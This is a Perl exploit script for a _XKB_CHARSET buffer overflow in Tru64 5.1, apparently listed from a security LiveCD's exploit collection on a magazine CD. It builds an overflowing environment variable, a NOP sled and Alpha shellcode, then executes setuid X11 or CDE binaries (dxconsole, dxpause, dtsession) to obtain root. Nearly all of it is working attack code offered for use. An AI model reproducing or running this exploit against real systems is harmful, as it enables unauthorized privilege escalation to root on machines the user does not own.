home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / tru64 / TRU64_xkb.pl < prev   
Perl Script  |  2005-02-12  |  2KB  |  61 lines

  1. #!/usr/bin/perl -w
  2. #
  3. # Tru64 5.1 _XKB_CHARSET
  4. #
  5. # stripey (stripey@snosoft.com) - 10/07/2002
  6. #                                 
  7.  
  8. $tgts{"0"} = pack("l",0x40010250).":/usr/bin/X11/dxconsole:uid=root";
  9. $tgts{"1"} = pack("l",0x40012584).":/usr/bin/X11/dxpause:uid=root";
  10. $tgts{"2"} = pack("l",0x400101e4).":/usr/dt/bin/dtsession:euid=root";
  11.                                   
  12. unless (($target,$offset,$align) = @ARGV,$align) {           
  13.                                   
  14.         print "-"x72;
  15.         print "\n      Tru64 _XKB_CHARSET overflow, stripey\@snosoft.com, 03/07/2002\n";
  16.         print "-"x72;
  17.         print "\n\nUsage: $0 <target> <offset> <align>\n\nTargets:\n\n";
  18.                                   
  19.         foreach $key (sort(keys %tgts)) {
  20.                 ($a,$b,$c) = split(/\:/,$tgts{"$key"});
  21.                 print "\t$key. $b ( $c )\n";
  22.         }
  23.        
  24.         print "\n";
  25.         exit 1;
  26. }             
  27.  
  28. ($a,$b) = split(/\:/,$tgts{"$target"});
  29.                                   
  30. print "*** Target: $b, Offset: $offset, Align: $align ***\n\n";
  31.                                   
  32. $ret = pack("ll",(unpack("l",$a)+$offset), 0x1);              
  33.                                   
  34. $sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
  35. $sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
  36. $sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
  37. $sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
  38. $sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
  39. $sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
  40. $sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
  41. $sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
  42. $sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
  43. $sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";               
  44.                                   
  45. $buf_a  = "A"x256;
  46. $buf_a .= $ret;
  47.  
  48. $buf_b  = "B"x$align;
  49. if ($target eq "2" ) {     
  50.         $buf_b .= pack("l",0x47ff041f)x56;
  51. } else {
  52.         $buf_b .= pack("l",0x47ff041f)x3750;
  53. }
  54. $buf_b .= $sc;                        
  55.     
  56. $ENV{"_XKB_CHARSET"} = $buf_a;
  57. $ENV{"HOME"} = $buf_b;       
  58.                     
  59. exec("$b");          
  60.  
  61.